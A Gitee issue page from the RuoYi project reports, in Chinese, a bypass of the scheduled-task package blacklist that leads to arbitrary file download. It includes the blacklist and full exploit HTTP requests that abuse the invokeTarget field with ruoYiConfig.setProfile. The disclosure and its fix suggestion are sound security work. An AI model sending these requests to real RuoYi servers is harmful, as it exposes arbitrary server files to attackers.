Sign in
Sign up
Explore
Enterprise
Education
Search
Help
Terms of use
About Us
Explore
Enterprise
Education
Gitee Premium
Gitee AI
Sign in
Sign up
Fetch the repository succeeded.
Open Source
>
Web Development
>
Backend Management
&&
Donate
Please sign in before you donate.
Cancel
Sign in
Scan WeChat QR to Pay
Cancel
Complete
Prompt
Switch to Alipay.
OK
Cancel
Watch
Unwatch
Watching
Releases Only
Ignoring
6K
Star
46.6K
Fork
25.8K
GVP
若依
/
RuoYi
Code
Issues
6
Pull Requests
10
Wiki
Insights
Pipelines
Service
JavaDoc
Quality Analysis
Jenkins for Gitee
Tencent CloudBase
Tencent Cloud Serverless
悬镜安全
Aliyun SAE
Codeblitz
SBOM
Don’t show this again
Update failed. Please try again later!
Remove this flag
Content Risk Flag
This task is identified by
as the content contains sensitive information such as code security bugs, privacy leaks, etc., so it is only accessible to contributors of this repository.
定时任务违规字符绕过可导致任意文件下载[BUG]
Done
#I697Q5
superx
Opened this issue
2023-01-06 15:39
看到 `4.7.6` 提交了定时任务违规的字符commit(https://gitee.com/y_project/RuoYi/commit/df1c283335d6b104dd8d7e7f955710c7fa6f92b8) 增加了 `com.ruoyi.common.config`黑名单,但我在调试代码的时候找到了一个绕过。 **漏洞原理** 黑白名单过滤代码  黑名单如下 ``` public static final String[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", "org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config" }; ```  这里有一个 bean 转换的操作,然后在判断包名是否在白名单类,默认白名单是 `public static final String[] JOB_WHITELIST_STR = { "com.ruoyi" };` 这样使用的 bean 可以绕过黑名单的限制,然后符合白名单的bean。 使用 `ruoYiConfig.setProfile('e://xxx/xxxxx.log')` 即可绕过黑白名单,导致任意文件下载。 **exp** 提交任务 ``` POST /monitor/job/add HTTP/1.1 Host: 172.16.0.118:48080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-CA,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 188 Origin: http://172.16.0.118:48080 Connection: close Referer: http://172.16.0.118:48080/monitor/job/add Cookie: JSESSIONID=016273a7-e993-41de-b079-0d9a72561b60 createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('e://想要下载的文件地址')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark= ``` 执行之后 任意文件下载 ``` GET /common/download/resource?resource=Info.xml:.zip HTTP/1.1 Host: 172.16.0.124:48080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-CA,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Origin: http://172.16.0.124:48080 Connection: close Referer: http://172.16.0.124:48080/monitor/job Cookie: JSESSIONID=016273a7-e993-41de-b079-0d9a72561b60 ```  **修复建议** 进行黑名单过滤的时候需要对bean转换对象也进行判断 **报告人** superx
看到 `4.7.6` 提交了定时任务违规的字符commit(https://gitee.com/y_project/RuoYi/commit/df1c283335d6b104dd8d7e7f955710c7fa6f92b8) 增加了 `com.ruoyi.common.config`黑名单,但我在调试代码的时候找到了一个绕过。 **漏洞原理** 黑白名单过滤代码  黑名单如下 ``` public static final String[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", "org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config" }; ```  这里有一个 bean 转换的操作,然后在判断包名是否在白名单类,默认白名单是 `public static final String[] JOB_WHITELIST_STR = { "com.ruoyi" };` 这样使用的 bean 可以绕过黑名单的限制,然后符合白名单的bean。 使用 `ruoYiConfig.setProfile('e://xxx/xxxxx.log')` 即可绕过黑白名单,导致任意文件下载。 **exp** 提交任务 ``` POST /monitor/job/add HTTP/1.1 Host: 172.16.0.118:48080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-CA,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 188 Origin: http://172.16.0.118:48080 Connection: close Referer: http://172.16.0.118:48080/monitor/job/add Cookie: JSESSIONID=016273a7-e993-41de-b079-0d9a72561b60 createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('e://想要下载的文件地址')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark= ``` 执行之后 任意文件下载 ``` GET /common/download/resource?resource=Info.xml:.zip HTTP/1.1 Host: 172.16.0.124:48080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-CA,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Origin: http://172.16.0.124:48080 Connection: close Referer: http://172.16.0.124:48080/monitor/job Cookie: JSESSIONID=016273a7-e993-41de-b079-0d9a72561b60 ```  **修复建议** 进行黑名单过滤的时候需要对bean转换对象也进行判断 **报告人** superx
Comments (
1
)
Sign in
to comment
Status
Done
Backlog
Doing
Done
Closed
Assignees
Not set
Labels
Not set
Label settings
Milestones
No related milestones
No related milestones
Pull Requests
None yet
None yet
Successfully merging a pull request will close this issue.
Branches
No related branch
Branches (2)
Tags (31)
master
springboot3
v4.8.1
v4.8.0
v4.7.9
v4.7.8
v4.7.7
v4.7.6
v4.7.5
v4.7.4
v4.7.3
v4.7.2
v4.7.1
v4.7.0
v4.6.2
v4.6.1
v4.6.0
v4.5.1
v4.5.0
v4.4
v4.3.1
v4.3
v4.2
v4.1
v4.0
v3.4
v3.3
v3.2
v3.1
v3.0
v2.4
v2.3
v2.2
Planed to start   -   Planed to end
-
Top level
Not Top
Top Level: High
Top Level: Medium
Top Level: Low
Priority
Not specified
Serious
Main
Secondary
Unimportant
参与者(1)
Java
1
https://gitee.com/y_project/RuoYi.git
git@gitee.com:y_project/RuoYi.git
y_project
RuoYi
RuoYi
Going to Help Center
Search
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
Comment
Repository Report
Back to the top
Login prompt
This operation requires login to the code cloud account. Please log in before operating.
Go to login
No account. Register